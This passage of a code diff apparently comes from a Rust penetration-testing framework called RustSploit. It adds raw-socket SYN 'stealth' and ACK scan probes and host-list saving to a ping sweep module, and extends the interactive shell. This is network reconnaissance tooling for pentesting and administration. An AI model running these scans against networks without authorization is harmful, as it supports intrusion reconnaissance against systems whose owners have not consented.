-                            method_name,
-                            target,
-                            status,
-                            elapsed
+                                 method_name,
+                                 target,
+                                 status,
+                                 elapsed
                         );
                     } else {
                         println!("  [{}] {}", method_name, status);
@@ -137,19 +137,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
                     method_results.push(MethodResult {
                         method: method_name,
                         status: Some(status),
-                        ok,
-                        error: None,
-                        duration_ms: elapsed.as_millis(),
+                                        ok,
+                                        error: None,
+                                        duration_ms: elapsed.as_millis(),
                     });
                 }
                 Err(err) => {
                     if verbose {
                         println!(
                             "  [{}] {} -> error: {} ({:.2?})",
-                            method_name,
-                            target,
-                            err,
-                            elapsed
+                                 method_name,
+                                 target,
+                                 err,
+                                 elapsed
                         );
                     } else {
                         println!("  [{}] error: {}", method_name, err);
@@ -159,7 +159,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
                         status: None,
                         ok: false,
                         error: Some(err.to_string()),
-                        duration_ms: elapsed.as_millis(),
+                                        duration_ms: elapsed.as_millis(),
                     });
                 }
             }
@@ -167,7 +167,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
 
         all_results.push(TargetResult {
             target: target.clone(),
-            results: method_results,
+                         results: method_results,
         });
     }
 
@@ -178,7 +178,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
         );
         let output_path = prompt_with_default(
             "Enter output file path (press Enter for default): ",
-            &default_name,
+                                              &default_name,
         )?;
         write_report(&output_path, &all_results)?;
         println!("[*] Results saved to {}", output_path);
@@ -192,11 +192,11 @@ fn banner() {
     println!(
         "{}",
         r#"
-╔══════════════════════════════════════════════════════╗
-║         HTTP METHOD CAPABILITY SCANNER               ║
-║          Checks support for common verbs             ║
-╚══════════════════════════════════════════════════════╝
-"#
+        ╔══════════════════════════════════════════════════════╗
+        ║         HTTP METHOD CAPABILITY SCANNER               ║
+        ║          Checks support for common verbs             ║
+        ╚══════════════════════════════════════════════════════╝
+        "#
     );
 }
 
@@ -211,15 +211,15 @@ fn collect_initial_targets(initial_target: &str) -> Vec<String> {
 
 fn split_targets(input: &str) -> Vec<String> {
     input
-        .split(|c| c == ',' || c == '\n' || c == ';')
-        .map(|item| item.trim().trim_end_matches('/').to_string())
-        .filter(|item| !item.is_empty())
-        .collect()
+    .split(|c| c == ',' || c == '\n' || c == ';')
+    .map(|item| item.trim().trim_end_matches('/').to_string())
+    .filter(|item| !item.is_empty())
+    .collect()
 }
 
 fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
     let data = fs::read_to_string(path)
-        .with_context(|| format!("Failed to read target file: {}", path))?;
+    .with_context(|| format!("Failed to read target file: {}", path))?;
     Ok(split_targets(&data))
 }
 
@@ -233,8 +233,8 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
             continue;
         }
         let formatted = if target.starts_with("http://")
-            || target.starts_with("https://")
-            || target.contains("://")
+        || target.starts_with("https://")
+        || target.contains("://")
         {
             target.to_string()
         } else {
@@ -253,11 +253,10 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
     let mut seen = HashSet::new();
 
     for target in targets {
-        if let Ok(url) = Url::parse(target) {
+        if let Ok(mut url) = Url::parse(target) {
             for port in ports {
-                let mut candidate = url.clone();
-                if candidate.set_port(Some(*port)).is_ok() {
-                    let final_url = candidate.to_string();
+                if url.set_port(Some(*port)).is_ok() {
+                    let final_url = url.to_string();
                     if seen.insert(final_url.clone()) {
                         expanded.push(final_url);
                     }
@@ -281,14 +280,14 @@ fn prompt(message: &str) -> Result<String> {
     io::stdout().flush().context("Failed to flush stdout")?;
     let mut input = String::new();
     io::stdin()
-        .read_line(&mut input)
-        .context("Failed to read user input")?;
+    .read_line(&mut input)
+    .context("Failed to read user input")?;
     Ok(input.trim().to_string())
 }
 
 fn prompt_bool(message: &str, default: bool) -> Result<bool> {
     let default_text = if default { "yes" } else { "no" };
-    let input = prompt(&format!("{}", message))?;
+    let input = prompt(message)?;
     if input.is_empty() {
         return Ok(default);
     }
@@ -358,20 +357,19 @@ fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
                     "  - {:<7} status: {:<5} success: {:<5} time: {} ms",
                     method.method,
                     status.as_u16(),
-                    method.ok,
-                    method.duration_ms
+                                   method.ok,
+                                   method.duration_ms
                 ));
             } else if let Some(ref error) = method.error {
                 lines.push(format!(
                     "  - {:<7} error: {} time: {} ms",
-                    method.method,
-                    error,
-                    method.duration_ms
+                    method.method, error, method.duration_ms
                 ));
             }
         }
         lines.push(String::new());
     }
 
-    fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
+    fs::write(path, lines.join("\n"))
+    .with_context(|| format!("Failed to write report to {}", path))
 }

src/modules/scanners/mod.rs

@@ -5,3 +5,4 @@ pub mod stalkroute_full_traceroute;
 pub mod http_title_scanner;
 pub mod ping_sweep;
 pub mod http_method_scanner;
+pub mod dns_recursion;

src/modules/scanners/ping_sweep.rs

@@ -1,17 +1,25 @@
 use anyhow::{anyhow, Context, Result};
 use colored::*;
 use ipnet::IpNet;
+use libc;
+use pnet_packet::ip::IpNextHeaderProtocols;
+use pnet_packet::ipv4::{self, MutableIpv4Packet};
+use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
+use pnet_packet::Packet;
+use socket2::{Domain, Protocol, Socket, Type};
 use std::{
     collections::HashSet,
     fs::File,
     io::{self, BufRead, BufReader, Write},
-    net::{IpAddr, SocketAddr},
+    net::{IpAddr, Ipv4Addr, SocketAddr},
     sync::{
         atomic::{AtomicUsize, Ordering},
-        Arc,
+        Arc, Mutex,
     },
 };
-use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
+use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
+use rand::Rng;
+use std::mem::MaybeUninit;
 
 #[derive(Clone, Debug)]
 struct PingConfig {
@@ -20,12 +28,16 @@ struct PingConfig {
     concurrency: usize,
     timeout_secs: u64,
     verbose: bool,
+    save_up_hosts: Option<String>,
+    save_down_hosts: Option<String>,
 }
 
 #[derive(Clone, Debug)]
 enum PingMethod {
     Icmp,
     Tcp { ports: Vec<u16> },
+    Syn { ports: Vec<u16> },
+    Ack { ports: Vec<u16> },
 }
 
 impl PingMethod {
@@ -46,6 +58,34 @@ impl PingMethod {
                     )
                 }
             }
+            PingMethod::Syn { ports } => {
+                if ports.len() == 1 {
+                    format!("SYN/{}", ports[0])
+                } else {
+                    format!(
+                        "SYN [{}]",
+                        ports
+                            .iter()
+                            .map(u16::to_string)
+                            .collect::<Vec<_>>()
+                            .join(",")
+                    )
+                }
+            }
+            PingMethod::Ack { ports } => {
+                if ports.len() == 1 {
+                    format!("ACK/{}", ports[0])
+                } else {
+                    format!(
+                        "ACK [{}]",
+                        ports
+                            .iter()
+                            .map(u16::to_string)
+                            .collect::<Vec<_>>()
+                            .join(",")
+                    )
+                }
+            }
         }
     }
 
@@ -53,6 +93,8 @@ impl PingMethod {
         match self {
             PingMethod::Icmp => "ICMP",
             PingMethod::Tcp { .. } => "TCP",
+            PingMethod::Syn { .. } => "SYN",
+            PingMethod::Ack { .. } => "ACK",
         }
     }
 
@@ -60,6 +102,8 @@ impl PingMethod {
         match self {
             PingMethod::Icmp => icmp_probe(ip, timeout).await,
             PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
+            PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
+            PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
         }
     }
 }
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
         prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
     let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
 
+    // Ask about saving results
+    let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
+        let default_file = "ping_sweep_up_hosts.txt";
+        let file_path = prompt_with_default("Output file for up hosts", default_file)?;
+        Some(file_path)
+    } else {
+        None
+    };
+
+    let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
+        let default_file = "ping_sweep_down_hosts.txt";
+        let file_path = prompt_with_default("Output file for down hosts", default_file)?;
+        Some(file_path)
+    } else {
+        None
+    };
+
     let methods = loop {
         let mut methods = Vec::new();
 
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
             }
         }
 
+        if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
+            let default_ports = "80,443";
+            let port_input =
+                prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
+            let ports = parse_ports(&port_input)?;
+            if ports.is_empty() {
+                println!("{}", "    No valid ports provided.".yellow());
+            } else {
+                methods.push(PingMethod::Syn { ports });
+            }
+        }
+
+        if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
+            let default_ports = "80,443";
+            let port_input =
+                prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
+            let ports = parse_ports(&port_input)?;
+            if ports.is_empty() {
+                println!("{}", "    No valid ports provided.".yellow());
+            } else {
+                methods.push(PingMethod::Ack { ports });
+            }
+        }
+
         if methods.is_empty() {
             println!("{}", "Select at least one method.".red().bold());
             continue;
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
         concurrency,
         timeout_secs,
         verbose,
+        save_up_hosts,
+        save_down_hosts,
     })
 }
 
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
 
     let processed_counter = Arc::new(AtomicUsize::new(0));
     let start_time = std::time::Instant::now();
+    
+    // Collections for saving results
+    let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
+    let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
+    
     let mut tasks = Vec::new();
     
     for ip in hosts {
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
         let methods_clone = methods.clone();
         let success_clone = success_counter.clone();
         let processed_clone = processed_counter.clone();
+        let up_list = up_hosts_list.clone();
+        let down_list = down_hosts_list.clone();
         tasks.push(tokio::spawn(async move {
             let permit = match sem.acquire_owned().await {
                 Ok(p) => p,
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
                     )
                     .green()
                 );
-            } else if verbose {
-                println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
+                // Add to up hosts list
+                if let Ok(mut list) = up_list.lock() {
+                    list.push(ip_string.clone());
+                }
+            } else {
+                // Add to down hosts list
+                if let Ok(mut list) = down_list.lock() {
+                    list.push(ip_string.clone());
+                }
+                if verbose {
+                    println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
+                }
             }
         }));
     }
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
         .bold()
     );
 
+    // Save results to files if requested
+    if let Some(ref up_file) = config.save_up_hosts {
+        let up_list = up_hosts_list.lock().unwrap();
+        if !up_list.is_empty() {
+            match save_hosts_to_file(&up_list, up_file) {
+                Ok(_) => {
+                    println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
+                }
+                Err(e) => {
+                    eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
+                }
+            }
+        } else {
+            println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
+        }
+    }
+
+    if let Some(ref down_file) = config.save_down_hosts {
+        let down_list = down_hosts_list.lock().unwrap();
+        if !down_list.is_empty() {
+            match save_hosts_to_file(&down_list, down_file) {
+                Ok(_) => {
+                    println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
+                }
+                Err(e) => {
+                    eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
+                }
+            }
+        } else {
+            println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
+        }
+    }
+
+    Ok(())
+}
+
+fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
+    let mut file = File::create(file_path)
+        .with_context(|| format!("Failed to create file '{}'", file_path))?;
+    
+    for host in hosts {
+        writeln!(file, "{}", host)
+            .with_context(|| format!("Failed to write to file '{}'", file_path))?;
+    }
+    
+    file.flush()
+        .with_context(|| format!("Failed to flush file '{}'", file_path))?;
+    
     Ok(())
 }
 
@@ -469,6 +621,368 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
     Ok(successes)
 }
 
+async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
+    // SYN scan only works with IPv4
+    let ipv4 = match ip {
+        IpAddr::V4(addr) => *addr,
+        IpAddr::V6(_) => {
+            return Err(anyhow!("SYN scan only supports IPv4 addresses"));
+        }
+    };
+
+    let mut successes = Vec::new();
+    
+    for port in ports {
+        match syn_probe_single(&ipv4, *port, timeout).await {
+            Ok(true) => successes.push(format!("SYN/{}", port)),
+            Ok(false) => {}
+            Err(e) => {
+                // Silently continue on errors (permission denied, etc.)
+                if e.to_string().contains("Permission denied") {
+                    return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
+                }
+            }
+        }
+    }
+    
+    Ok(successes)
+}
+
+async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
+    use std::net::Ipv4Addr as StdIpv4Addr;
+    use std::net::IpAddr as StdIpAddr;
+    
+    // Create raw socket for sending
+    let sender = Socket::new(
+        Domain::IPV4,
+        Type::RAW,
+        Some(Protocol::from(libc::IPPROTO_RAW)),
+    )
+    .context("Failed to create raw socket for SYN scan")?;
+    
+    sender
+        .set_header_included_v4(true)
+        .context("Failed to set IP_HDRINCL")?;
+    
+    // Create raw socket for receiving TCP responses
+    let receiver = Socket::new(
+        Domain::IPV4,
+        Type::RAW,
+        Some(Protocol::TCP),
+    )
+    .context("Failed to create receiver socket for SYN scan")?;
+    
+    receiver
+        .set_read_timeout(Some(timeout))
+        .context("Failed to set read timeout")?;
+    
+    // Get source IP (use a dummy IP if we can't determine it)
+    let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
+    
+    // Craft SYN packet - generate all random values before any await
+    let (src_port, seq_num, ip_id) = {
+        let mut rng = rand::rng();
+        (
+            rng.random_range(49152..=65535),
+            rng.random::<u32>(),
+            rng.random::<u16>(),
+        )
+    };
+    
+    let tcp_header_len = 20;
+    let mut tcp_buf = vec![0u8; tcp_header_len];
+    let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
+    tcp_pkt.set_source(src_port);
+    tcp_pkt.set_destination(port);
+    tcp_pkt.set_sequence(seq_num);
+    tcp_pkt.set_acknowledgement(0);
+    tcp_pkt.set_data_offset(5);
+    tcp_pkt.set_flags(TcpFlags::SYN);
+    tcp_pkt.set_window(65535);
+    tcp_pkt.set_urgent_ptr(0);
+    
+    let tcp_immutable = tcp_pkt.to_immutable();
+    tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
+    
+    // Craft IP packet
+    const IPV4_HEADER_LEN: usize = 20;
+    let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
+    let mut ip_buf = vec![0u8; total_len as usize];
+    let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
+    ip_pkt.set_version(4);
+    ip_pkt.set_header_length(5);
+    ip_pkt.set_total_length(total_len);
+    ip_pkt.set_identification(ip_id);
+    ip_pkt.set_ttl(64);
+    ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
+    ip_pkt.set_source(src_ip);
+    ip_pkt.set_destination(*ip);
+    ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
+    ip_pkt.set_payload(tcp_pkt.packet());
+    ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
+    
+    // Send packet (blocking operation)
+    let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
+    sender
+        .send_to(ip_pkt.packet(), &dst_addr.into())
+        .context("Failed to send SYN packet")?;
+    
+    // Listen for response using spawn_blocking for async compatibility
+    let receiver_arc = Arc::new(receiver);
+    let start = std::time::Instant::now();
+    
+    while start.elapsed() < timeout {
+        let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
+        let ip_clone = *ip;
+        let port_clone = port;
+        let src_ip_clone = src_ip;
+        let src_port_clone = src_port;
+        
+        let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
+            let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
+            match sock_clone.recv_from(&mut buf) {
+                Ok((len, addr)) => {
+                    let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
+                    let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
+                    Ok(Some((slice.to_vec(), sock_addr)))
+                }
+                Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
+                Err(e) => Err(e),
+            }
+        })
+        .await
+        .context("Blocking task for recv_from failed")?;
+        
+        match recv_result {
+            Ok(Some((data, _))) => {
+                if data.len() < IPV4_HEADER_LEN {
+                    tokio::time::sleep(Duration::from_millis(10)).await;
+                    continue;
+                }
+                
+                // Parse IP header
+                if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
+                    if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
+                        // Parse TCP header
+                        let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
+                        if data.len() >= tcp_offset + 20 {
+                            if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
+                                if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
+                                    let flags = tcp_recv.get_flags();
+                                    // SYN-ACK means port is open
+                                    if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
+                                        return Ok(true);
+                                    }
+                                    // RST means port is closed but host is up
+                                    if flags & TcpFlags::RST == TcpFlags::RST {
+                                        return Ok(true); // Host is up
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            Ok(None) => {
+                // Timeout or would block - continue waiting
+                tokio::time::sleep(Duration::from_millis(10)).await;
+            }
+            Err(_) => {
+                tokio::time::sleep(Duration::from_millis(10)).await;
+            }
+        }
+    }
+    
+    Ok(false)
+}
+
+async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
+    // ACK scan only works with IPv4
+    let ipv4 = match ip {
+        IpAddr::V4(addr) => *addr,
+        IpAddr::V6(_) => {
+            return Err(anyhow!("ACK scan only supports IPv4 addresses"));
+        }
+    };
+
+    let mut successes = Vec::new();
+    
+    for port in ports {
+        match ack_probe_single(&ipv4, *port, timeout).await {
+            Ok(true) => successes.push(format!("ACK/{}", port)),
+            Ok(false) => {}
+            Err(e) => {
+                // Silently continue on errors (permission denied, etc.)
+                if e.to_string().contains("Permission denied") {
+                    return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
+                }
+            }
+        }
+    }
+    
+    Ok(successes)
+}
+
+async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
+    use std::net::Ipv4Addr as StdIpv4Addr;
+    use std::net::IpAddr as StdIpAddr;
+    
+    // Create raw socket for sending
+    let sender = Socket::new(
+        Domain::IPV4,
+        Type::RAW,
+        Some(Protocol::from(libc::IPPROTO_RAW)),
+    )
+    .context("Failed to create raw socket for ACK scan")?;
+    
+    sender
+        .set_header_included_v4(true)
+        .context("Failed to set IP_HDRINCL")?;
+    
+    // Create raw socket for receiving TCP responses
+    let receiver = Socket::new(
+        Domain::IPV4,
+        Type::RAW,
+        Some(Protocol::TCP),
+    )
+    .context("Failed to create receiver socket for ACK scan")?;
+    
+    receiver
+        .set_read_timeout(Some(timeout))
+        .context("Failed to set read timeout")?;
+    
+    // Get source IP
+    let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
+    
+    // Craft ACK packet - generate all random values before any await
+    let (src_port, seq_num, ip_id) = {
+        let mut rng = rand::rng();
+        (
+            rng.random_range(49152..=65535),
+            rng.random::<u32>(),
+            rng.random::<u16>(),
+        )
+    };
+    
+    let tcp_header_len = 20;
+    let mut tcp_buf = vec![0u8; tcp_header_len];
+    let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
+    tcp_pkt.set_source(src_port);
+    tcp_pkt.set_destination(port);
+    tcp_pkt.set_sequence(seq_num);
+    tcp_pkt.set_acknowledgement(0);
+    tcp_pkt.set_data_offset(5);
+    tcp_pkt.set_flags(TcpFlags::ACK);
+    tcp_pkt.set_window(65535);
+    tcp_pkt.set_urgent_ptr(0);
+    
+    let tcp_immutable = tcp_pkt.to_immutable();
+    tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
+    
+    // Craft IP packet
+    const IPV4_HEADER_LEN: usize = 20;
+    let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
+    let mut ip_buf = vec![0u8; total_len as usize];
+    let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
+    ip_pkt.set_version(4);
+    ip_pkt.set_header_length(5);
+    ip_pkt.set_total_length(total_len);
+    ip_pkt.set_identification(ip_id);
+    ip_pkt.set_ttl(64);
+    ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
+    ip_pkt.set_source(src_ip);
+    ip_pkt.set_destination(*ip);
+    ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
+    ip_pkt.set_payload(tcp_pkt.packet());
+    ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
+    
+    // Send packet (blocking operation)
+    let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
+    sender
+        .send_to(ip_pkt.packet(), &dst_addr.into())
+        .context("Failed to send ACK packet")?;
+    
+    // Listen for response using spawn_blocking for async compatibility
+    let receiver_arc = Arc::new(receiver);
+    let start = std::time::Instant::now();
+    
+    while start.elapsed() < timeout {
+        let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
+        let ip_clone = *ip;
+        let port_clone = port;
+        let src_ip_clone = src_ip;
+        let src_port_clone = src_port;
+        
+        let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
+            let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
+            match sock_clone.recv_from(&mut buf) {
+                Ok((len, addr)) => {
+                    let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
+                    let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
+                    Ok(Some((slice.to_vec(), sock_addr)))
+                }
+                Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
+                Err(e) => Err(e),
+            }
+        })
+        .await
+        .context("Blocking task for recv_from failed")?;
+        
+        match recv_result {
+            Ok(Some((data, _))) => {
+                if data.len() < IPV4_HEADER_LEN {
+                    tokio::time::sleep(Duration::from_millis(10)).await;
+                    continue;
+                }
+                
+                // Parse IP header
+                if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
+                    if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
+                        // Parse TCP header
+                        let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
+                        if data.len() >= tcp_offset + 20 {
+                            if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
+                                if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
+                                    let flags = tcp_recv.get_flags();
+                                    // RST means port is unfiltered (host is up)
+                                    if flags & TcpFlags::RST == TcpFlags::RST {
+                                        return Ok(true);
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            Ok(None) => {
+                // Timeout or would block - continue waiting
+                tokio::time::sleep(Duration::from_millis(10)).await;
+            }
+            Err(_) => {
+                tokio::time::sleep(Duration::from_millis(10)).await;
+            }
+        }
+    }
+    
+    Ok(false)
+}
+
+fn get_local_ipv4() -> Option<Ipv4Addr> {
+    // Try to get a local IPv4 address for the source IP
+    // This is a simple implementation - in production you might want more sophisticated logic
+    use std::net::UdpSocket;
+    if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
+        if socket.connect("8.8.8.8:80").is_ok() {
+            if let Ok(local_addr) = socket.local_addr() {
+                if let IpAddr::V4(ipv4) = local_addr.ip() {
+                    return Some(ipv4);
+                }
+            }
+        }
+    }
+    None
+}
+
 fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
     print!("{}", message.cyan().bold());
     io::stdout().flush()?;

src/shell.rs

@@ -1,12 +1,18 @@
 use crate::commands;
 use crate::utils;
+use crate::config;
 use anyhow::Result;
 use colored::*;
-use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
+use rand::prelude::*;
 use std::env;
 use std::io::{self, Write};
 use std::collections::HashSet;
 
+const MAX_INPUT_LENGTH: usize = 4096;
+const MAX_PROXY_LIST_SIZE: usize = 10_000;
+const MAX_TARGET_LENGTH: usize = 512;
+const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
+
 /// Simple interactive shell context
 struct ShellContext {
     current_module: Option<String>,
@@ -29,195 +35,470 @@ impl ShellContext {
 pub async fn interactive_shell() -> Result<()> {
     println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
     println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
+    
+    // Show global target if set
+    if config::GLOBAL_CONFIG.has_target() {
+        let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
+        if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
+            if size > 1 {
+                println!("{}", format!("[*] Global target set: {} ({} IPs)", target_str, size).cyan());
+            } else {
+                println!("{}", format!("[*] Global target set: {}", target_str).cyan());
+            }
+        } else {
+            println!("{}", format!("[*] Global target set: {}", target_str).cyan());
+        }
+    }
 
     let mut ctx = ShellContext::new();
 
-    loop {
+    'main_loop: loop {
         print!("{}", "rsf> ".cyan().bold());
         io::stdout().flush()?;
 
         let mut raw_input = String::new();
         io::stdin().read_line(&mut raw_input)?;
+
+        if raw_input.len() > MAX_INPUT_LENGTH {
+            println!(
+                "{}",
+                format!(
+                    "[!] Input length exceeds {} characters and was ignored.",
+                    MAX_INPUT_LENGTH
+                )
+                    .yellow()
+            );
+            continue;
+        }
         let trimmed = raw_input.trim();
 
         if trimmed.is_empty() {
             continue;
         }
 
-        match split_command(trimmed) {
-            Some((cmd, rest)) => {
-                let command_key = resolve_command(&cmd);
-                match command_key.as_str() {
-                    "exit" => {
-                        println!("Exiting...");
-                        break;
-                    }
-                    "help" => render_help(),
-                    "modules" => utils::list_all_modules(),
-                    "find" => {
-                        if rest.is_empty() {
-                            println!("{}", "Usage: find <keyword>".yellow());
-                        } else {
-                            utils::find_modules(&rest);
-                        }
-                    }
-                    "proxy_load" => {
-                        let file_path = if rest.is_empty() {
-                            prompt_for_path("Path to proxy list file: ")? 
-                        } else {
-                            rest.to_string()
-                        };
+        // Support command chaining with & separator
+        let commands: Vec<&str> = trimmed
+        .split('&')
+        .map(|s| s.trim())
+        .filter(|s| !s.is_empty())
+        .take(MAX_COMMAND_CHAIN_LENGTH)
+        .collect();
 
-                        match utils::load_proxies_from_file(&file_path) {
-                            Ok(summary) => {
-                                ctx.proxy_list = summary.proxies;
-                                println!(
-                                    "Loaded {} proxies from '{}'.",
-                                    ctx.proxy_list.len(),
-                                    file_path
-                                );
+        if trimmed.split('&').count() > MAX_COMMAND_CHAIN_LENGTH {
+            println!(
+                "{}",
+                format!("[!] Command chain exceeds maximum length of {}. Truncating.", MAX_COMMAND_CHAIN_LENGTH)
+                    .yellow()
+            );
+        }
 
-                                if !summary.skipped.is_empty() {
-                                    println!(
-                                        "{}",
-                                        format!(
-                                            "Skipped {} invalid entr{}:",
-                                            summary.skipped.len(),
-                                            if summary.skipped.len() == 1 { "y" } else { "ies" }
-                                        )
-                                        .yellow()
-                                    );
-                                    for failure in summary.skipped.iter().take(10) {
-                                        println!(
-                                            "  [line {}] {} ({})",
-                                            failure.line_number,
-                                            failure.content,
-                                            failure.reason
-                                        );
-                                    }
-                                    if summary.skipped.len() > 10 {
-                                        println!(
-                                            "  ... {} additional entr{} skipped.",
-                                            summary.skipped.len() - 10,
-                                            if summary.skipped.len() - 10 == 1 {
-                                                "y"
-                                            } else {
-                                                "ies"
-                                            }
-                                        );
-                                    }
-                                }
+        for cmd_input in commands {
+            if cmd_input.is_empty() {
+                continue;
+            }
 
-                                if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
-                                    test_current_proxies(&mut ctx).await?;
-                                }
-                            }
-                            Err(e) => {
-                                println!("Failed to load proxies: {}", e);
-                            }
+            match split_command(cmd_input) {
+                Some((cmd, rest)) => {
+                    let command_key = resolve_command(&cmd);
+                    match command_key.as_str() {
+                        "exit" => {
+                            println!("Exiting...");
+                            clear_proxy_env_vars();
+                            break 'main_loop;
                         }
-                    }
-                    "proxy_on" => {
-                        ctx.proxy_enabled = true;
-                        println!("Proxy usage enabled.");
-                    }
-                    "proxy_off" => {
-                        ctx.proxy_enabled = false;
-                        println!("Proxy usage disabled.");
-                        clear_proxy_env_vars();
-                    }
-                    "proxy_test" => {
-                        test_current_proxies(&mut ctx).await?;
-                    }
-                    "show_proxies" => {
